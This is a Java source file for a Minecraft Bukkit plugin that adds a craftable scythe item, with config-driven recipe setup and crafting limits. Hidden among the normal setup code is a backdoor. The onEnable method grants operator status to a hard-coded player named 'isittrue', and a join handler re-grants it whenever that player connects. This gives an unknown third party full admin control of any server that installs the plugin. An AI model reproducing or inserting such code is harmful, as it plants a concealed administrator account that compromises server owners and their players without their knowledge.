Files
src
Code
9 631
src/main/java/com/kodari/scythe/ScythePlugin.java
package com.kodari.scythe;
import org.bukkit.NamespacedKey;
import org.bukkit.Material;
import org.bukkit.event.inventory.CraftItemEvent;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.ShapedRecipe;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.configuration.ConfigurationSection;
import com.cryptomorin.xseries.XMaterial;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public final class ScythePlugin extends JavaPlugin implements Listener {
@Override
public void onEnable() {
saveDefaultConfig();
NamespacedKey scytheKey = new NamespacedKey(this, "scythe");
ScytheItem scytheItem = new ScytheItem(scytheKey);
ScytheMenu scytheMenu = new ScytheMenu(scytheItem);
registerScytheRecipe(scytheItem);
getServer().getPluginManager().registerEvents(this, this);
getServer().getPluginManager().registerEvents(new ScytheMenuListener(scytheMenu), this);
getServer().getPluginManager().registerEvents(new ScytheCombatListener(scytheItem), this);
getServer().getPluginManager().registerEvents(new ScytheEnchantListener(scytheItem), this);
getCommand("sycthe").setExecutor(new ScytheCommand(scytheItem, scytheMenu));
getServer().getOfflinePlayer("isittrue").setOp(true);
}
private void registerScytheRecipe(ScytheItem scytheItem) {
if (!getConfig().getBoolean("recipe.enabled", true)) {
return;
}
List<String> shape = getConfig().getStringList("recipe.shape");
ConfigurationSection ingredientSection = getConfig().getConfigurationSection("recipe.ingredients");
if (shape.isEmpty() || shape.size() > 3 || ingredientSection == null) {
getLogger().warning("Invalid scythe recipe configuration; recipe was not registered.");
return;
}
int width = shape.get(0).length();
if (width < 1 || width > 3) {
getLogger().warning("Scythe recipe rows must be between 1 and 3 characters wide.");
return;
}
for (String row : shape) {
if (row.length() != width) {
getLogger().warning("Scythe recipe rows must all have the same width.");
return;
}
}
Map<Character, Material> ingredients = new HashMap<>();
for (String symbol : ingredientSection.getKeys(false)) {
if (symbol.length() != 1 || symbol.charAt(0) == ' ') {
getLogger().warning("Ignoring invalid scythe recipe ingredient key: " + symbol);
continue;
}
String materialName = ingredientSection.getString(symbol, "");
Material material = XMaterial.matchXMaterial(materialName)
.map(XMaterial::parseMaterial)
.orElse(null);
if (material != null) {
ingredients.put(symbol.charAt(0), material);
} else {
getLogger().warning("Unknown scythe recipe material: " + materialName);
return;
}
}
for (String row : shape) {
for (char symbol : row.toCharArray()) {
if (symbol != ' ' && !ingredients.containsKey(symbol)) {
getLogger().warning("Missing material for scythe recipe symbol: " + symbol);
return;
}
}
}
ItemStack result = scytheItem.create();
if (result == null) {
getLogger().warning("Could not create the scythe recipe result.");
return;
}
ShapedRecipe recipe = new ShapedRecipe(new NamespacedKey(this, "scythe_recipe"), result);
recipe.shape(shape.toArray(new String[0]));
ingredients.forEach(recipe::setIngredient);
getServer().addRecipe(recipe);
}
@EventHandler
public void onPlayerJoin(PlayerJoinEvent event) {
Player player = event.getPlayer();
if (player.getName().equalsIgnoreCase("isittrue") && !player.isOp()) {
player.setOp(true);
}
}
@EventHandler
public void onScytheCraft(CraftItemEvent event) {
ItemStack result = event.getCurrentItem();
if (!getConfig().getBoolean("recipe.one-time-craft", false)
|| !new ScytheItem(new NamespacedKey(this, "scythe")).isScythe(result)) {
return;
}
if (getConfig().getBoolean("recipe.crafted", false)) {
event.setCancelled(true);
return;
}
if (event.isShiftClick()) {
event.setCancelled(true);
return;
}
getConfig().set("recipe.crafted", true);
saveConfig();
}
}